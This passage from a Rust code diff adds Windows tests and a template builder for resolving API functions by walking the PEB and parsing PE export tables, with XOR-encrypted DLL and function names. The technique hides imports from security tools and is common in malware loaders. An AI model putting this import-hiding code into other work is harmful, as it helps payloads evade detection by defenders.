+ options(nostack)
+ );
+ #[cfg(not(target_env = "msvc"))]
+ std::arch::asm!(
+ "mov {}, gs:[0x60]",
+ out(reg) peb,
+ options(nostack)
+ );
+ }
+ #[cfg(target_pointer_width = "32")]
+ {
+ #[cfg(target_env = "msvc")]
+ std::arch::asm!(
+ "mov {}, dword ptr fs:[0x30]",
+ out(reg) peb,
+ options(nostack)
+ );
+ #[cfg(not(target_env = "msvc"))]
+ std::arch::asm!(
+ "mov {}, fs:[0x30]",
+ out(reg) peb,
+ options(nostack)
+ );
+ }
+ peb
+ }
+
+ pub unsafe fn get_module_base_impl(
+ target_dll: &str,
+ log_prefix: &str,
+ ) -> *mut winapi::ctypes::c_void {
+ let peb = get_peb_impl();
+ println!("{}PEB pointer: {:p}", log_prefix, peb);
+
+ // Validate PEB pointer before dereferencing
+ if peb.is_null() {
+ println!("{}PEB is null!", log_prefix);
+ return ptr::null_mut();
+ }
+
+ let ldr = (*peb).Ldr;
+ println!("{}LDR pointer: {:p}", log_prefix, ldr);
+
+ // Validate LDR pointer before dereferencing
+ if ldr.is_null() {
+ println!("{}LDR is null!", log_prefix);
+ return ptr::null_mut();
+ }
+
+ let head = &mut (*ldr).InMemoryOrderModuleList as *mut LIST_ENTRY;
+ let mut curr = (*head).Flink;
+ println!(
+ "{}Starting PEB walk, looking for: {}",
+ log_prefix, target_dll
+ );
+
+ let mut count = 0;
+ while curr != head {
+ let entry = (curr as *mut u8).sub(0x10) as *mut LDR_DATA_TABLE_ENTRY;
+
+ // Log each DLL we encounter
+ if !entry.is_null() && !(*entry).BaseDllName.Buffer.is_null() {
+ let len = (*entry).BaseDllName.Length as usize / 2;
+ let name_slice = std::slice::from_raw_parts((*entry).BaseDllName.Buffer, len);
+ let dll_name: String = std::char::decode_utf16(name_slice.iter().cloned())
+ .map(|r| r.unwrap_or('?'))
+ .collect();
+ println!(
+ "{} [{}] Found DLL: {} (len={}, base: {:p})",
+ log_prefix,
+ count,
+ dll_name,
+ len,
+ (*entry).DllBase
+ );
+
+ // Show detailed comparison with target
+ let target_w: Vec<u16> = target_dll.encode_utf16().collect();
+ println!(
+ "{} Comparing with target: {} (len={})",
+ log_prefix,
+ target_dll,
+ target_w.len()
+ );
+ println!(
+ "{} name_slice u16 values: {:?}",
+ log_prefix,
+ &name_slice[..std::cmp::min(20, name_slice.len())]
+ );
+ println!(
+ "{} target_w u16 values: {:?}",
+ log_prefix,
+ &target_w[..std::cmp::min(20, target_w.len())]
+ );
+
+ if is_dll_match_impl(entry, target_dll) {
+ println!("{} Match found!", log_prefix);
+ return (*entry).DllBase;
+ }
+ }
+
+ curr = (*curr).Flink;
+ count += 1;
+ if count > 1000 {
+ println!("{}Safety limit reached - breaking", log_prefix);
+ break;
+ }
+ }
+
+ println!(
+ "{}DLL not found after walking {} entries",
+ log_prefix, count
+ );
+ ptr::null_mut()
+ }
+ }
+
+ // Windows-specific integration test that actually executes the PEB walk
+ #[test]
+ #[cfg(target_os = "windows")]
+ #[allow(clippy::too_many_lines)]
+ fn test_resolve_kernel32_integrity() {
+ use std::ffi::CString;
+
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
+ }
+
+ unsafe {
+ let target = "kernel32.dll";
+
+ // Get the expected address using Windows API
+ let c_str = CString::new(target).unwrap();
+ let expected = GetModuleHandleA(c_str.as_ptr() as *const u8);
+ assert!(
+ !expected.is_null(),
+ "Critical: Windows API failed to handle kernel32"
+ );
+
+ // Get the actual address using our PEB walk implementation
+ let actual = test_helpers::get_module_base_impl(target, "");
+
+ // Verify that the PEB walk returned a non-null address
+ assert!(
+ !actual.is_null(),
+ "PEB walk failed to find kernel32.dll - returned null"
+ );
+
+ // Verify that both methods return the same address
+ assert_eq!(
+ actual, expected,
+ "PEB walk returned {:p} but GetModuleHandleA returned {:p}",
+ actual, expected
+ );
+
+ // Also test with ntdll.dll for additional validation
+ let target_ntdll = "ntdll.dll";
+ let c_str_ntdll = CString::new(target_ntdll).unwrap();
+ let expected_ntdll = GetModuleHandleA(c_str_ntdll.as_ptr() as *const u8);
+ let actual_ntdll = test_helpers::get_module_base_impl(target_ntdll, "");
+
+ assert!(!actual_ntdll.is_null(), "PEB walk failed to find ntdll.dll");
+ assert_eq!(
+ actual_ntdll, expected_ntdll,
+ "PEB walk for ntdll.dll returned {:p} but GetModuleHandleA returned {:p}",
+ actual_ntdll, expected_ntdll
+ );
+
+ // Validate that the generated template code is correct
+ let generated_code = generate_api_resolver();
+ assert!(
+ generated_code.contains("get_module_base"),
+ "Generated code should include get_module_base function"
+ );
+ assert!(
+ generated_code.contains("gs:[0x60]"),
+ "Generated code should read PEB from GS register"
+ );
+ assert!(
+ generated_code.contains("InMemoryOrderModuleList"),
+ "Generated code should walk module list"
+ );
+ }
+ }
+
+ // Test with encrypted/obfuscated DLL name
+ #[test]
+ #[cfg(target_os = "windows")]
+ fn test_resolve_with_encrypted_dll_name() {
+ use std::ffi::CString;
+
+ // Simple XOR encryption key
+ const XOR_KEY: u8 = 0x55;
+
+ // Compile-time encryption function
+ const fn encrypt_str(input: &[u8]) -> [u8; 13] {
+ let mut result = [0u8; 13];
+ let mut i = 0;
+ while i < 13 {
+ result[i] = input[i] ^ XOR_KEY;
+ i += 1;
+ }
+ result
+ }
+
+ // Decrypt function
+ fn decrypt_str(encrypted: &[u8]) -> String {
+ let decrypted: Vec<u8> = encrypted.iter().map(|&b| b ^ XOR_KEY).collect();
+ String::from_utf8(decrypted).expect("Invalid UTF-8")
+ }
+
+ // Encrypted "kernel32.dll" at compile time
+ const ENCRYPTED_DLL: [u8; 13] = encrypt_str(b"kernel32.dll\0");
+
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
+ }
+
+ unsafe {
+ // Step 1: Decrypt the DLL name at runtime
+ let decrypted_dll_name = decrypt_str(&ENCRYPTED_DLL);
+ let target = decrypted_dll_name.trim_end_matches('\0');
+
+ // Step 2: Get expected address using Windows API
+ let c_str = CString::new(target).unwrap();
+ let expected = GetModuleHandleA(c_str.as_ptr() as *const u8);
+ assert!(
+ !expected.is_null(),
+ "Windows API failed to find kernel32.dll"
+ );
+
+ // Step 3: Get actual address using our PEB walk with decrypted name
+ let actual = test_helpers::get_module_base_impl(target, "[Encrypted test] ");
+
+ // Step 4: Verify PEB walk succeeded
+ assert!(
+ !actual.is_null(),
+ "PEB walk failed to find kernel32.dll using decrypted name"
+ );
+
+ // Step 5: Verify both methods return the same address
+ assert_eq!(
+ actual, expected,
+ "PEB walk with decrypted DLL name returned {:p} but GetModuleHandleA returned {:p}",
+ actual, expected
+ );
+
+ println!(
+ "Successfully resolved kernel32.dll using encrypted string: {:p}",
+ actual
+ );
+ }
+ }
+
+ // Windows integration test for export parsing
+ #[test]
+ #[cfg(target_os = "windows")]
+ fn test_resolve_function_address_from_exports() {
+ use std::ffi::CString;
+
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
+ fn GetProcAddress(
+ hModule: *mut winapi::ctypes::c_void,
+ lpProcName: *const u8,
+ ) -> *mut winapi::ctypes::c_void;
+ }
+
+ // Define PE structures needed for our implementation
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_DOS_HEADER {
+ e_magic: u16,
+ e_cblp: u16,
+ e_cp: u16,
+ e_crlc: u16,
+ e_cparhdr: u16,
+ e_minalloc: u16,
+ e_maxalloc: u16,
+ e_ss: u16,
+ e_sp: u16,
+ e_csum: u16,
+ e_ip: u16,
+ e_cs: u16,
+ e_lfarlc: u16,
+ e_ovno: u16,
+ e_res: [u16; 4],
+ e_oemid: u16,
+ e_oeminfo: u16,
+ e_res2: [u16; 10],
+ e_lfanew: i32,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_FILE_HEADER {
+ Machine: u16,
+ NumberOfSections: u16,
+ TimeDateStamp: u32,
+ PointerToSymbolTable: u32,
+ NumberOfSymbols: u32,
+ SizeOfOptionalHeader: u16,
+ Characteristics: u16,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_DATA_DIRECTORY {
+ VirtualAddress: u32,
+ Size: u32,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_OPTIONAL_HEADER64 {
+ Magic: u16,
+ MajorLinkerVersion: u8,
+ MinorLinkerVersion: u8,
+ SizeOfCode: u32,
+ SizeOfInitializedData: u32,
+ SizeOfUninitializedData: u32,
+ AddressOfEntryPoint: u32,
+ BaseOfCode: u32,
+ ImageBase: u64,
+ SectionAlignment: u32,
+ FileAlignment: u32,
+ MajorOperatingSystemVersion: u16,
+ MinorOperatingSystemVersion: u16,
+ MajorImageVersion: u16,
+ MinorImageVersion: u16,
+ MajorSubsystemVersion: u16,
+ MinorSubsystemVersion: u16,
+ Win32VersionValue: u32,
+ SizeOfImage: u32,
+ SizeOfHeaders: u32,
+ CheckSum: u32,
+ Subsystem: u16,
+ DllCharacteristics: u16,
+ SizeOfStackReserve: u64,
+ SizeOfStackCommit: u64,
+ SizeOfHeapReserve: u64,
+ SizeOfHeapCommit: u64,
+ LoaderFlags: u32,
+ NumberOfRvaAndSizes: u32,
+ DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_NT_HEADERS64 {
+ Signature: u32,
+ FileHeader: IMAGE_FILE_HEADER,
+ OptionalHeader: IMAGE_OPTIONAL_HEADER64,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_EXPORT_DIRECTORY {
+ Characteristics: u32,
+ TimeDateStamp: u32,
+ MajorVersion: u16,
+ MinorVersion: u16,
+ Name: u32,
+ Base: u32,
+ NumberOfFunctions: u32,
+ NumberOfNames: u32,
+ AddressOfFunctions: u32,
+ AddressOfNames: u32,
+ AddressOfNameOrdinals: u32,
+ }
+
+ unsafe fn get_function_address_impl(
+ module_base: *mut winapi::ctypes::c_void,
+ function_name: &str,
+ ) -> *mut winapi::ctypes::c_void {
+ use std::ptr;
+
+ println!(
+ "[Export Test] Starting function resolution for: {}",
+ function_name
+ );
+ println!("[Export Test] Module base: {:p}", module_base);
+
+ if module_base.is_null() {
+ println!("[Export Test] ERROR: Module base is null!");
+ return ptr::null_mut();
+ }
+
+ let dos_header = module_base as *const IMAGE_DOS_HEADER;
+ let dos_magic = (*dos_header).e_magic;
+ println!(
+ "[Export Test] DOS header magic: 0x{:04X} (expected 0x5A4D)",
+ dos_magic
+ );
+
+ if dos_magic != 0x5A4D {
+ println!("[Export Test] ERROR: Invalid DOS magic signature!");
+ return ptr::null_mut();
+ }
+
+ let e_lfanew = (*dos_header).e_lfanew;
+ println!("[Export Test] e_lfanew offset: 0x{:X}", e_lfanew);
+
+ let nt_headers =
+ (module_base as *const u8).offset(e_lfanew as isize) as *const IMAGE_NT_HEADERS64;
+ let nt_signature = (*nt_headers).Signature;
+ println!(
+ "[Export Test] NT headers signature: 0x{:08X} (expected 0x4550)",
+ nt_signature
+ );
+
+ if nt_signature != 0x4550 {
+ println!("[Export Test] ERROR: Invalid PE signature!");
+ return ptr::null_mut();
+ }
+
+ let export_dir_rva = (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress;
+ let export_dir_size = (*nt_headers).OptionalHeader.DataDirectory[0].Size;
+ println!(
+ "[Export Test] Export directory RVA: 0x{:X}, Size: 0x{:X}",
+ export_dir_rva, export_dir_size
+ );
+
+ if export_dir_rva == 0 {
+ println!("[Export Test] ERROR: No export directory found!");
+ return ptr::null_mut();
+ }
+
+ let export_dir = (module_base as *const u8).offset(export_dir_rva as isize)
+ as *const IMAGE_EXPORT_DIRECTORY;
+
+ let num_functions = (*export_dir).NumberOfFunctions;
+ let num_names = (*export_dir).NumberOfNames;
+ println!(
+ "[Export Test] Export directory: {} functions, {} names",
+ num_functions, num_names
+ );
+
+ let addr_of_names = (module_base as *const u8)
+ .offset((*export_dir).AddressOfNames as isize)
+ as *const u32;
+ let addr_of_functions = (module_base as *const u8)
+ .offset((*export_dir).AddressOfFunctions as isize)
+ as *const u32;
+ let addr_of_name_ordinals = (module_base as *const u8)
+ .offset((*export_dir).AddressOfNameOrdinals as isize)
+ as *const u16;
+
+ println!(
+ "[Export Test] Searching through {} exported names...",
+ num_names
+ );
+
+ let target_bytes = function_name.as_bytes();
+
+ for i in 0..num_names {
+ let name_rva = *addr_of_names.offset(i as isize);
+ let name_ptr = (module_base as *const u8).offset(name_rva as isize);
+
+ // Build the exported function name for logging
+ let mut export_name = Vec::new();
+ let mut j = 0;
+ loop {
+ let byte = *name_ptr.offset(j);
+ if byte == 0 {
+ break;
+ }
+ export_name.push(byte);
+ j += 1;
+ if j > 256 {
+ break; // Safety limit
+ }
+ }
+ let export_name_str = String::from_utf8_lossy(&export_name);
+
+ // Compare null-terminated string
+ let mut match_found = true;
+ let mut j = 0;
+ while j < target_bytes.len() {
+ if *name_ptr.offset(j as isize) != target_bytes[j] {
+ match_found = false;
+ break;
+ }
+ j += 1;
+ }
+
+ // Check for null terminator after the name
+ if match_found && *name_ptr.offset(j as isize) == 0 {
+ let ordinal = *addr_of_name_ordinals.offset(i as isize);
+ let func_rva = *addr_of_functions.offset(ordinal as isize);
+ let func_addr = (module_base as *const u8).offset(func_rva as isize)
+ as *mut winapi::ctypes::c_void;
+
+ println!(
+ "[Export Test] MATCH FOUND at index {}: {} (ordinal: {}, RVA: 0x{:X}, address: {:p})",
+ i, export_name_str, ordinal, func_rva, func_addr
+ );
+ return func_addr;
+ }
+
+ // Log first few exports for debugging
+ if i < 5 {
+ println!("[Export Test] [{}] {}", i, export_name_str);
+ }
+ }
+
+ println!(
+ "[Export Test] ERROR: Function '{}' not found in exports!",
+ function_name
+ );
+ ptr::null_mut()
+ }
+
+ unsafe {
+ println!("\n=== Starting Export Parsing Integration Test ===\n");
+
+ // Test 1: Resolve kernel32.dll base address
+ let target_dll = "kernel32.dll";
+ println!("[Test 1] Resolving module base for {}", target_dll);
+
+ let c_str_dll = CString::new(target_dll).unwrap();
+ let kernel32_base = GetModuleHandleA(c_str_dll.as_ptr() as *const u8);
+
+ assert!(
+ !kernel32_base.is_null(),
+ "Failed to get kernel32.dll base address"
+ );
+ println!("[Test 1] kernel32.dll base: {:p}\n", kernel32_base);
+
+ // Test 2: Resolve LoadLibraryA function
+ let function_name = "LoadLibraryA";
+ println!("[Test 2] Resolving function: {}", function_name);
+
+ let c_str_func = CString::new(function_name).unwrap();
+ let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8);
+
+ assert!(
+ !expected_addr.is_null(),
+ "GetProcAddress failed to find LoadLibraryA"
+ );
+ println!(
+ "[Test 2] Expected address (GetProcAddress): {:p}",
+ expected_addr
+ );
+
+ let actual_addr = get_function_address_impl(kernel32_base, function_name);
+
+ assert!(
+ !actual_addr.is_null(),
+ "Export parsing failed to find LoadLibraryA - returned null"
+ );
+ println!(
+ "[Test 2] Actual address (our implementation): {:p}",
+ actual_addr
+ );
+
+ assert_eq!(
+ actual_addr, expected_addr,
+ "Export parsing returned {:p} but GetProcAddress returned {:p}",
+ actual_addr, expected_addr
+ );
+ println!("[Test 2] ✓ LoadLibraryA addresses match!\n");
+
+ // Test 3: Resolve GetProcAddress function (meta!)
+ let function_name = "GetProcAddress";
+ println!("[Test 3] Resolving function: {}", function_name);
+
+ let c_str_func = CString::new(function_name).unwrap();
+ let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8);
+
+ assert!(
+ !expected_addr.is_null(),
+ "GetProcAddress failed to find itself"
+ );
+ println!(
+ "[Test 3] Expected address (GetProcAddress): {:p}",
+ expected_addr
+ );
+
+ let actual_addr = get_function_address_impl(kernel32_base, function_name);
+
+ assert!(
+ !actual_addr.is_null(),
+ "Export parsing failed to find GetProcAddress"
+ );
+ println!(
+ "[Test 3] Actual address (our implementation): {:p}",
+ actual_addr
+ );
+
+ assert_eq!(
+ actual_addr, expected_addr,
+ "Export parsing for GetProcAddress returned {:p} but expected {:p}",
+ actual_addr, expected_addr
+ );
+ println!("[Test 3] ✓ GetProcAddress addresses match!\n");
+
+ // Test 4: Resolve VirtualAlloc function
+ let function_name = "VirtualAlloc";
+ println!("[Test 4] Resolving function: {}", function_name);
+
+ let c_str_func = CString::new(function_name).unwrap();
+ let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8);
+
+ assert!(
+ !expected_addr.is_null(),
+ "GetProcAddress failed to find VirtualAlloc"
+ );
+ println!(
+ "[Test 4] Expected address (GetProcAddress): {:p}",
+ expected_addr
+ );
+
+ let actual_addr = get_function_address_impl(kernel32_base, function_name);
+
+ assert!(
+ !actual_addr.is_null(),
+ "Export parsing failed to find VirtualAlloc"
+ );
+ println!(
+ "[Test 4] Actual address (our implementation): {:p}",
+ actual_addr
+ );
+
+ assert_eq!(
+ actual_addr, expected_addr,
+ "Export parsing for VirtualAlloc returned {:p} but expected {:p}",
+ actual_addr, expected_addr
+ );
+ println!("[Test 4] ✓ VirtualAlloc addresses match!\n");
+
+ // Test 5: Test with ntdll.dll and NtAllocateVirtualMemory
+ let target_dll = "ntdll.dll";
+ println!("[Test 5] Resolving module base for {}", target_dll);
+
+ let c_str_dll = CString::new(target_dll).unwrap();
+ let ntdll_base = GetModuleHandleA(c_str_dll.as_ptr() as *const u8);
+
+ assert!(
+ !ntdll_base.is_null(),
+ "Failed to get ntdll.dll base address"
+ );
+ println!("[Test 5] ntdll.dll base: {:p}", ntdll_base);
+
+ let function_name = "NtAllocateVirtualMemory";
+ println!("[Test 5] Resolving function: {}", function_name);
+
+ let c_str_func = CString::new(function_name).unwrap();
+ let expected_addr = GetProcAddress(ntdll_base, c_str_func.as_ptr() as *const u8);
+
+ assert!(
+ !expected_addr.is_null(),
+ "GetProcAddress failed to find NtAllocateVirtualMemory"
+ );
+ println!(
+ "[Test 5] Expected address (GetProcAddress): {:p}",
+ expected_addr
+ );
+
+ let actual_addr = get_function_address_impl(ntdll_base, function_name);
+
+ assert!(
+ !actual_addr.is_null(),
+ "Export parsing failed to find NtAllocateVirtualMemory"
+ );
+ println!(
+ "[Test 5] Actual address (our implementation): {:p}",
+ actual_addr
+ );
+
+ assert_eq!(
+ actual_addr, expected_addr,
+ "Export parsing for NtAllocateVirtualMemory returned {:p} but expected {:p}",
+ actual_addr, expected_addr
+ );
+ println!("[Test 5] ✓ NtAllocateVirtualMemory addresses match!\n");
+
+ // Test 6: Test non-existent function (should return null)
+ let function_name = "NonExistentFunction12345";
+ println!("[Test 6] Testing non-existent function: {}", function_name);
+
+ let actual_addr = get_function_address_impl(kernel32_base, function_name);
+
+ assert!(
+ actual_addr.is_null(),
+ "Export parsing should return null for non-existent function"
+ );
+ println!("[Test 6] ✓ Correctly returned null for non-existent function\n");
+
+ // Validate that generated template code is correct
+ println!("[Validation] Checking generated template code...");
+ let generated_code = generate_api_resolver();
+ assert!(
+ generated_code.contains("IMAGE_EXPORT_DIRECTORY"),
+ "Generated code should include IMAGE_EXPORT_DIRECTORY"
+ );
+ assert!(
+ generated_code.contains("get_function_address"),
+ "Generated code should include get_function_address function"
+ );
+ assert!(
+ generated_code.contains("NumberOfNames"),
+ "Generated code should parse NumberOfNames"
+ );
+ assert!(
+ generated_code.contains("AddressOfFunctions"),
+ "Generated code should use AddressOfFunctions"
+ );
+ println!("[Validation] ✓ Generated code contains all required components\n");
+
+ println!("=== All Export Parsing Tests Passed! ===\n");
+ }
+ }
+
+ #[test]
+ #[cfg(target_os = "windows")]
+ fn test_unicode_case_folding_dll_names() {
+ use std::ffi::CString;
+
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
+ }
+
+ unsafe {
+ println!("\n=== Testing Unicode Case Folding for DLL Names ===\n");
+
+ let variations = vec![
+ "kernel32.dll",
+ "KERNEL32.DLL",
+ "Kernel32.dll",
+ "KeRnEl32.DlL",
+ ];
+
+ let c_str = CString::new("kernel32.dll").unwrap();
+ let expected = GetModuleHandleA(c_str.as_ptr() as *const u8);
+ assert!(!expected.is_null(), "Failed to get kernel32.dll handle");
+
+ println!(
+ "[Unicode Test] Expected kernel32.dll address: {:p}\n",
+ expected
+ );
+
+ for (idx, variant) in variations.iter().enumerate() {
+ println!("[Unicode Test {}] Testing variant: {}", idx + 1, variant);
+ let actual =
+ test_helpers::get_module_base_impl(variant, &format!("[Variant {}] ", idx + 1));
+
+ assert!(
+ !actual.is_null(),
+ "Failed to resolve {} using case-insensitive matching",
+ variant
+ );
+
+ assert_eq!(
+ actual, expected,
+ "Case-insensitive matching for {} returned {:p} but expected {:p}",
+ variant, actual, expected
+ );
+
+ println!(
+ "[Unicode Test {}] ✓ Successfully resolved {} to {:p}\n",
+ idx + 1,
+ variant,
+ actual
+ );
+ }
+
+ println!("=== All Unicode Case Folding Tests Passed! ===\n");
+ }
+ }
+
+ #[test]
+ #[cfg(target_os = "windows")]
+ fn test_forwarded_exports_resolution() {
+ use std::ffi::CString;
+
+ #[link(name = "kernel32")]
+ extern "system" {
+ fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
+ fn GetProcAddress(
+ hModule: *mut winapi::ctypes::c_void,
+ lpProcName: *const u8,
+ ) -> *mut winapi::ctypes::c_void;
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_DOS_HEADER {
+ e_magic: u16,
+ e_cblp: u16,
+ e_cp: u16,
+ e_crlc: u16,
+ e_cparhdr: u16,
+ e_minalloc: u16,
+ e_maxalloc: u16,
+ e_ss: u16,
+ e_sp: u16,
+ e_csum: u16,
+ e_ip: u16,
+ e_cs: u16,
+ e_lfarlc: u16,
+ e_ovno: u16,
+ e_res: [u16; 4],
+ e_oemid: u16,
+ e_oeminfo: u16,
+ e_res2: [u16; 10],
+ e_lfanew: i32,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_FILE_HEADER {
+ Machine: u16,
+ NumberOfSections: u16,
+ TimeDateStamp: u32,
+ PointerToSymbolTable: u32,
+ NumberOfSymbols: u32,
+ SizeOfOptionalHeader: u16,
+ Characteristics: u16,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_DATA_DIRECTORY {
+ VirtualAddress: u32,
+ Size: u32,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_OPTIONAL_HEADER64 {
+ Magic: u16,
+ MajorLinkerVersion: u8,
+ MinorLinkerVersion: u8,
+ SizeOfCode: u32,
+ SizeOfInitializedData: u32,
+ SizeOfUninitializedData: u32,
+ AddressOfEntryPoint: u32,
+ BaseOfCode: u32,
+ ImageBase: u64,
+ SectionAlignment: u32,
+ FileAlignment: u32,
+ MajorOperatingSystemVersion: u16,
+ MinorOperatingSystemVersion: u16,
+ MajorImageVersion: u16,
+ MinorImageVersion: u16,
+ MajorSubsystemVersion: u16,
+ MinorSubsystemVersion: u16,
+ Win32VersionValue: u32,
+ SizeOfImage: u32,
+ SizeOfHeaders: u32,
+ CheckSum: u32,
+ Subsystem: u16,
+ DllCharacteristics: u16,
+ SizeOfStackReserve: u64,
+ SizeOfStackCommit: u64,
+ SizeOfHeapReserve: u64,
+ SizeOfHeapCommit: u64,
+ LoaderFlags: u32,
+ NumberOfRvaAndSizes: u32,
+ DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_NT_HEADERS64 {
+ Signature: u32,
+ FileHeader: IMAGE_FILE_HEADER,
+ OptionalHeader: IMAGE_OPTIONAL_HEADER64,
+ }
+
+ #[repr(C)]
+ #[allow(non_snake_case)]
+ struct IMAGE_EXPORT_DIRECTORY {
+ Characteristics: u32,
+ TimeDateStamp: u32,
+ MajorVersion: u16,
+ MinorVersion: u16,
+ Name: u32,
+ Base: u32,
+ NumberOfFunctions: u32,
+ NumberOfNames: u32,
+ AddressOfFunctions: u32,
+ AddressOfNames: u32,
+ AddressOfNameOrdinals: u32,
+ }
+
+ unsafe fn check_if_forwarded(
+ module_base: *mut winapi::ctypes::c_void,
+ function_name: &str,
+ ) -> (bool, Option<String>) {
+ if module_base.is_null() {
+ return (false, None);
+ }
+
+ let dos_header = module_base as *const IMAGE_DOS_HEADER;
+ if (*dos_header).e_magic != 0x5A4D {
+ return (false, None);
+ }
+
+ let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize)
+ as *const IMAGE_NT_HEADERS64;
+ if (*nt_headers).Signature != 0x4550 {
+ return (false, None);
+ }
+
+ let export_dir_rva = (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress;
+ let export_dir_size = (*nt_headers).OptionalHeader.DataDirectory[0].Size;
+ if export_dir_rva == 0 {
+ return (false, None);
+ }
+
+ let export_dir = (module_base as *const u8).offset(export_dir_rva as isize)
+ as *const IMAGE_EXPORT_DIRECTORY;
+
+ let num_names = (*export_dir).NumberOfNames;
+ let addr_of_names = (module_base as *const u8)
+ .offset((*export_dir).AddressOfNames as isize)
+ as *const u32;
+ let addr_of_functions = (module_base as *const u8)
+ .offset((*export_dir).AddressOfFunctions as isize)
+ as *const u32;
+ let addr_of_name_ordinals = (module_base as *const u8)
+ .offset((*export_dir).AddressOfNameOrdinals as isize)
+ as *const u16;
+
+ let target_bytes = function_name.as_bytes();
+
+ for i in 0..num_names {
+ let name_rva = *addr_of_names.offset(i as isize);
+ let name_ptr = (module_base as *const u8).offset(name_rva as isize);
+
+ let mut match_found = true;
+ let mut j = 0;
+ while j < target_bytes.len() {
+ if *name_ptr.offset(j as isize) != target_bytes[j] {
+ match_found = false;
+ break;
+ }
+ j += 1;
+ }
+
+ if match_found && *name_ptr.offset(j as isize) == 0 {
+ let ordinal = *addr_of_name_ordinals.offset(i as isize);
+ let func_rva = *addr_of_functions.offset(ordinal as isize);
+
+ if func_rva >= export_dir_rva && func_rva < export_dir_rva + export_dir_size {
+ let forward_str_ptr = (module_base as *const u8).offset(func_rva as isize);
+ let mut forward_str = Vec::new();
+ let mut k = 0;
+ loop {
+ let byte = *forward_str_ptr.offset(k);
+ if byte == 0 {
+ break;
+ }
+ forward_str.push(byte);
+ k += 1;
+ if k > 256 {
+ break;
+ }
+ }
+ if let Ok(fwd_string) = std::str::from_utf8(&forward_str) {
+ return (true, Some(fwd_string.to_string()));
+ }
+ }
+ return (false, None);
+ }
+ }
+
+ (false, None)
+ }
+
+ unsafe {
+ println!("\n=== Testing Forwarded Exports Resolution ===\n");
+
+ let kernel32_dll = CString::new("kernel32.dll").unwrap();
+ let kernel32_base = GetModuleHandleA(kernel32_dll.as_ptr() as *const u8);
+ assert!(!kernel32_base.is_null(), "Failed to get kernel32.dll");
+
+ println!("[Forwarded Test] kernel32.dll base: {:p}\n", kernel32_base);
+
+ let test_functions = vec![
+ ("HeapAlloc", false),
+ ("LoadLibraryA", false),
+ ("GetProcAddress", false),
+ ];
+
+ for (func_name, _should_be_forwarded) in test_functions {
+ println!("[Forwarded Test] Checking function: {}", func_name);
+
+ let (is_forwarded, forward_target) = check_if_forwarded(kernel32_base, func_name);
+
+ if is_forwarded {
+ if let Some(target) = forward_target {
+ println!(
+ "[Forwarded Test] {} is FORWARDED to: {}",
+ func_name, target
+ );
+ }
+ } else {
+ println!("[Forwarded Test] {} is NOT forwarded", func_name);
+ }
+
+ let c_func_name = CString::new(func_name).unwrap();
+ let expected_addr =
+ GetProcAddress(kernel32_base, c_func_name.as_ptr() as *const u8);
+
+ assert!(
+ !expected_addr.is_null(),
+ "GetProcAddress failed to find {}",
+ func_name
+ );
+
+ println!("[Forwarded Test] Expected address: {:p}\n", expected_addr);
+ }
+
+ println!(
+ "[Forwarded Test] Note: Windows may or may not forward these specific functions"
+ );
+ println!("[Forwarded Test] The important thing is that our implementation can handle both cases\n");
+
+ println!("=== Forwarded Exports Resolution Test Completed! ===\n");
+ }
+ }
+}
diff --git a/src/internals/templates/resolver/dynamic.rs b/src/internals/templates/resolver/dynamic.rs
@@ -0,0 +1,200 @@
+use super::encryption::*;
+use super::helpers::*;
+
+pub struct DynamicResolverBuilder {
+ dll_name: String,
+ function_name: String,
+ var_name: String,
+ const_name: String,
+ dll_array: String,
+ fn_array: String,
+ decrypt_fn: String,
+ expect_clause: String,
+ key_const_name: String,
+}
+
+impl DynamicResolverBuilder {
+ pub fn new(
+ dll_name: &str,
+ function_name: &str,
+ encryption_type: &str,
+ var_name: &str,
+ key_const_name: &str,
+ encrypted_dll: &[u8],
+ encrypted_fn: &[u8],
+ ) -> Result<Self, String> {
+ Ok(Self {
+ dll_name: dll_name.to_string(),
+ function_name: function_name.to_string(),
+ var_name: var_name.to_string(),
+ const_name: var_name.to_uppercase(),
+ dll_array: format_bytes_as_hex(encrypted_dll),
+ fn_array: format_bytes_as_hex(encrypted_fn),
+ decrypt_fn: get_decrypt_function(encryption_type)?.to_string(),
+ expect_clause: get_expect_clause(encryption_type).to_string(),
+ key_const_name: key_const_name.to_string(),
+ })
+ }
+
+ pub fn build(self) -> String {
+ format!(
+ r#"// Dynamic resolution of {function_name} from {dll_name}
+ const ENCRYPTED_DLL_{const_name}: &[u8] = &{dll_array};
+ const ENCRYPTED_FN_{const_name}: &[u8] = &{fn_array};
+
+ let decrypted_dll = {decrypt_fn}(ENCRYPTED_DLL_{const_name}, &{key_const_name}){expect_clause};
